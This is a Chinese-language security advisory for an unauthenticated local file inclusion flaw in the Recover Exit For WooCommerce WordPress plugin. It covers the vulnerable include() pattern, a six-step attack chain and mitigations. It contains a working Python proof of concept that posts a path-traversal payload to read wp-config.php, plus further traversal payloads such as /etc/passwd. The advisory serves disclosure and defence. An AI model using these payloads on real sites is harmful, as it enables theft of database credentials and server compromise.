CVE-2026-9662 WordPress Recover Exit For WooCommerce插件本地文件包含漏洞

漏洞信息

漏洞编号

CVE-2026-9662

漏洞类型

本地文件包含(LFI)

CVSS评分

8.1 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Recover Exit For WooCommerce WordPress插件

漏洞概述

CVE-2026-9662是WordPress平台下Recover Exit For WooCommerce插件的一个高危安全漏洞。该插件主要用于WooCommerce电商网站的退出意图弹窗功能，帮助商家挽回即将离开网站的客户。然而，该插件在1.0.3及以下所有版本中存在严重的本地文件包含(Local File Inclusion, LFI)漏洞。漏洞产生的根本原因在于插件的recover_exit()函数对用户提交的tpf POST参数缺乏足够的输入验证和安全过滤，直接将该参数用于include()语句的路径构建。由于缺乏路径遍历防护，攻击者可以通过构造特殊的文件路径参数，利用../等目录遍历序列，读取服务器上的任意本地PHP文件。这种漏洞可导致敏感信息泄露，包括但不限于配置文件中的数据库凭据、WordPress盐值、其他插件的密钥等。在特定的服务器配置环境下（如开启了远程文件包含选项allow_url_include或存在文件上传功能），该LFI漏洞甚至可能被利用于远程代码执行，从而完全接管网站服务器。值得注意的是，该漏洞无需任何认证即可被利用，攻击门槛较低，危害性极大。

技术细节

漏洞存在于插件的recover_exit_main.php文件第41-42行附近的recover_exit()函数中。该函数直接获取用户POST请求中的tpf参数值，并将其拼接到include()语句中执行。典型的漏洞代码模式如下：$file = $_POST['tpf']; include($file); 或 include($_POST['tpf']);。由于缺少realpath()验证、basename()处理和目录遍历过滤，攻击者可以构造形如../../../../etc/passwd或../../wp-config.php的路径来读取服务器敏感文件。攻击者无需登录WordPress后台即可发送恶意POST请求。在某些配置下，若服务器开启了PHP的远程文件包含功能(allow_url_include=On)，攻击者甚至可以通过指定远程URL来执行任意代码。防御此类漏洞需要在使用include/require前对用户输入进行严格的路径规范化处理，使用basename()函数提取文件名，并验证最终路径是否在预期目录范围内。

攻击链分析

STEP 1

步骤1

攻击者识别目标网站使用的WordPress版本，并确认安装了Recover Exit For WooCommerce插件且版本≤1.0.3

STEP 2

步骤2

攻击者构造恶意POST请求，发送到WordPress管理端点admin-post.php或插件对应的处理URL

STEP 3

步骤3

在POST数据中设置action参数为recover_exit以触发插件的recover_exit()函数，设置tpf参数为目录遍历路径如../../wp-config.php

STEP 4

步骤4

服务器端接收tpf参数后，由于缺乏验证直接拼接到include()语句，导致本地文件被包含和执行

STEP 5

步骤5

被包含的敏感文件内容(如数据库凭据、API密钥等)被返回给攻击者，造成信息泄露

STEP 6

步骤6

在特定配置下(如allow_url_include开启)，攻击者可通过指定远程URL进行远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2026-9662 PoC - Local File Inclusion in Recover Exit For WooCommerce
# Affected: Recover Exit For WooCommerce <= 1.0.3

target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/wp-admin/admin-post.php"

# Read wp-config.php (most sensitive file in WordPress)
payload = {
    'action': 'recover_exit',
    'tpf': '../../wp-config.php'
}

print(f"[*] Sending LFI payload to: {target_url}")
print(f"[*] Payload: tpf={payload['tpf']}")

try:
    response = requests.post(target_url, data=payload, timeout=10)
    if 'DB_NAME' in response.text or 'DB_USER' in response.text:
        print("[+] SUCCESS: Sensitive configuration leaked!")
        print("[+] Partial response:")
        print(response.text[:500])
    else:
        print("[-] Target may not be vulnerable or file not found")
        print(f"[-] Status code: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")

# Alternative payloads for testing:
# ../../../../etc/passwd - Read system passwd file
# ../../wp-includes/wp-config.php - Alternative path to config
# ../../../wp-content/debug.log - Read error logs

影响范围

Recover Exit For WooCommerce 插件 <= 1.0.3

防御指南

临时缓解措施

在官方修复版本发布之前，可采取以下临时缓解措施：1) 临时禁用Recover Exit For WooCommerce插件；2) 通过Web应用防火墙规则拦截包含../或路径遍历特征的请求；3) 在Nginx/Apache配置中限制POST请求中敏感参数的传递；4) 限制插件目录的PHP文件执行权限；5) 启用WordPress的日志监控功能，及时发现异常请求模式。建议优先考虑升级到安全版本或寻找功能替代插件。